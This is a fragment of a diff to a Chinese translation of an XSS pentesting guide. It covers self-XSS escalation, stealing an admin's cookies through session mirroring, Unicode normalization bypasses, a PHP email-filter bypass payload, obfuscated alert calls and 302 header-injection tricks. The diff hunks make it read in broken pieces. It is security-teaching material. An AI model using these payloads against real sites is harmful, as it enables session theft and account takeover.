dom-xss.md {{#endref}} 在这里你会找到关于 **DOM 漏洞是什么、如何引发它们以及如何利用它们的详细解释**。\ -此外，不要忘记在 **提到的帖子末尾** 你可以找到关于 [**DOM Clobbering 攻击**](dom-xss.md#dom-clobbering) 的解释。 +此外，别忘了在 **提到的帖子末尾** 你可以找到关于 [**DOM Clobbering 攻击**](dom-xss.md#dom-clobbering) 的解释。 ### 升级自我 XSS @@ -761,7 +761,7 @@ dom-xss.md ../hacking-with-cookies/cookie-tossing.md {{#endref}} -你可以在 [**这篇博客文章**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html) 中找到这个技术的一个很好的滥用示例。 +你可以在 [**这篇博客文章**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html) 中找到这个技术的一个很好的滥用案例。 ### 将你的会话发送给管理员 @@ -769,7 +769,7 @@ dom-xss.md ### 会话镜像 -如果你发现一些自我 XSS，并且网页有 **管理员的会话镜像**，例如允许客户请求帮助，为了帮助你，管理员将看到他在他的会话中所看到的内容。 +如果你发现一些自我 XSS，并且网页有 **管理员的会话镜像**，例如允许客户请求帮助，为了帮助你，管理员将看到你在你的会话中看到的内容，但从他的会话中。 你可以让 **管理员触发你的自我 XSS** 并窃取他的 cookies/会话。 @@ -777,7 +777,7 @@ dom-xss.md ### 规范化 Unicode -你可以检查 **反射值** 是否在服务器（或客户端）中 **进行 Unicode 规范化**，并利用此功能绕过保护。 [**在这里找到一个示例**](../unicode-injection/index.html#xss-cross-site-scripting)。 +你可以检查 **反射值** 是否在服务器（或客户端）中 **进行 Unicode 规范化**，并利用此功能绕过保护。 [**在这里找到一个例子**](../unicode-injection/index.html#xss-cross-site-scripting)。 ### PHP FILTER_VALIDATE_EMAIL 标志绕过 ```javascript @@ -794,7 +794,7 @@ contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa ``` {" onfocus=javascript:alert('xss') autofocus a"=>"a"} ``` -然后，将插入 onfocus 属性，发生 XSS。 +然后，将插入 onfocus 属性，并发生 XSS。 ### 特殊组合 ```html @@ -826,24 +826,24 @@ contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2) document['default'+'View'][`\u0061lert`](3) ``` -### XSS与302响应中的头注入 +### XSS with header injection in a 302 response -如果你发现可以**在302重定向响应中注入头**，你可以尝试**让浏览器执行任意JavaScript**。这**并不简单**，因为现代浏览器在HTTP响应状态码为302时不会解释HTTP响应体，因此仅仅一个跨站脚本有效载荷是无用的。 +如果你发现可以在 **302 重定向响应中注入头部**，你可以尝试 **让浏览器执行任意 JavaScript**。这 **并不简单**，因为现代浏览器在 HTTP 响应状态码为 302 时不会解释 HTTP 响应体，因此仅仅一个跨站脚本有效载荷是无用的。 -在[**这份报告**](https://www.gremwell.com/firefox-xss-302)和[**这份报告**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/)中，你可以阅读如何测试Location头中的几种协议，并查看其中是否有任何协议允许浏览器检查并执行体内的XSS有效载荷。\ -已知的过去协议：`mailto://`、`//x:1/`、`ws://`、`wss://`、_空Location头_、`resource://`。 +在 [**这份报告**](https://www.gremwell.com/firefox-xss-302) 和 [**这份报告**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) 中，你可以阅读如何测试 Location 头部中的几种协议，并查看其中是否有任何协议允许浏览器检查并执行体内的 XSS 有效载荷。\ +已知的过去协议： `mailto://`， `//x:1/`， `ws://`， `wss://`， _空 Location 头部_， `resource://`。 ### 仅限字母、数字和点 -如果你能够指示javascript将要**执行**的**回调**仅限于这些字符。[**阅读这篇文章的这一部分**](#javascript-function)以了解如何利用这种行为。 +如果你能够指示 JavaScript 将要 **执行** 的 **回调** 限制在这些字符内。 [**阅读这篇文章的这一部分**](#javascript-function) 以了解如何滥用这种行为。 -### 有效的` ``` -- **module** (默认，无需解释) +答案是： + +- **module**（默认，无需解释） - [**webbundle**](https://web.dev/web-bundles/): Web Bundles 是一个功能，您可以将一堆数据（HTML、CSS、JS…）打包到一个 **`.wbn`** 文件中。 ```html